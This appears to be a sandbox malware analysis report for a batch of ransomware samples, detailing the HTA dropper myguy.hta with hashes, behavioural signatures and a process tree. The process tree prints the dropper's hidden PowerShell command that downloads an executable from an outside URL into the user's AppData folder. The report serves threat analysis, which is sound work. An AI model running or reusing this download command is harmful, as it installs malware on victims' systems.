Overview
overview
10Static
static
3cerber.exe
windows7-x64
10cerber.exe
windows10-2004-x64
10cryptowall.exe
windows7-x64
9cryptowall.exe
windows10-2004-x64
3jigsaw.exe
windows7-x64
10jigsaw.exe
windows10-2004-x64
10Locky.exe
windows7-x64
10Locky.exe
windows10-2004-x64
10131.exe
windows7-x64
1131.exe
windows10-2004-x64
3Matsnu-MBR...3 .exe
windows7-x64
7Matsnu-MBR...3 .exe
windows10-2004-x64
3027cc450ef...d9.dll
windows7-x64
10027cc450ef...d9.dll
windows10-2004-x64
10027cc450ef...ju.dll
windows7-x64
10027cc450ef...ju.dll
windows10-2004-x64
10myguy.hta
windows7-x64
10myguy.hta
windows10-2004-x64
10svchost.exe
windows7-x64
7svchost.exe
windows10-2004-x64
7Analysis
-
max time kernel
95s -
max time network
138s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
26-11-2024 15:24
Static task
static1
Behavioral task
behavioral1
Sample
cerber.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
cerber.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
cryptowall.exe
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
cryptowall.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral5
Sample
jigsaw.exe
Resource
win7-20241023-en
Behavioral task
behavioral6
Sample
jigsaw.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral7
Sample
Locky.exe
Resource
win7-20240903-en
Behavioral task
behavioral8
Sample
Locky.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral9
Sample
131.exe
Resource
win7-20240903-en
Behavioral task
behavioral10
Sample
131.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral11
Sample
Matsnu-MBRwipingRansomware_1B2D2A4B97C7C2727D571BBF9376F54F_Inkasso Rechnung vom 27.05.2013 .exe
Resource
win7-20240708-en
Behavioral task
behavioral12
Sample
Matsnu-MBRwipingRansomware_1B2D2A4B97C7C2727D571BBF9376F54F_Inkasso Rechnung vom 27.05.2013 .exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral13
Sample
027cc450ef5f8c5f653329641ec1fed9.dll
Resource
win7-20240708-en
Behavioral task
behavioral14
Sample
027cc450ef5f8c5f653329641ec1fed9.dll
Resource
win10v2004-20241007-en
Behavioral task
behavioral15
Sample
027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745_98STJd8lju.dll
Resource
win7-20240903-en
Behavioral task
behavioral16
Sample
027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745_98STJd8lju.dll
Resource
win10v2004-20241007-en
Behavioral task
behavioral17
Sample
myguy.hta
Resource
win7-20241010-en
Behavioral task
behavioral18
Sample
myguy.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral19
Sample
svchost.exe
Resource
win7-20240903-en
Behavioral task
behavioral20
Sample
svchost.exe
Resource
win10v2004-20241007-en
General
-
Target
myguy.hta
-
Size
13KB
-
MD5
0487382a4daf8eb9660f1c67e30f8b25
-
SHA1
736752744122a0b5ee4b95ddad634dd225dc0f73
-
SHA256
ee29b9c01318a1e23836b949942db14d4811246fdae2f41df9f0dcd922c63bc6
-
SHA512
e1e7d81d54efd526139ea8ac792ed2035c8e70f040319c0b65f723431d31077c7a6927553890c99151f2354f51c4020ed94e0e2e5d56386c2fc4828e95869106
-
SSDEEP
192:ScIsmNvaHz65bP/U/njs3NH0Z0UvDVE6Az6XVHBycT6iLMUpJ2seCYHlfeb:SPXTmnjs3BU9A27BNLMUTb
Malware Config
Extracted
http://french-cooking.com/myguy.exe
Signatures
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid Process 13 3940 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation mshta.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target Process procid_target 1480 3124 WerFault.exe 81 -
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
mshta.exepowershell.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid Process 3940 powershell.exe 3940 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid Process Token: SeDebugPrivilege 3940 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
mshta.exedescription pid Process procid_target PID 3124 wrote to memory of 3940 3124 mshta.exe 84 PID 3124 wrote to memory of 3940 3124 mshta.exe 84 PID 3124 wrote to memory of 3940 3124 mshta.exe 84
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\myguy.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3124 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://french-cooking.com/myguy.exe', 'C:\Users\Admin\AppData\Roaming\59460.exe');2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3940
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3124 -s 13602⤵
- Program crash
PID:1480
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 3124 -ip 31241⤵PID:4984
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82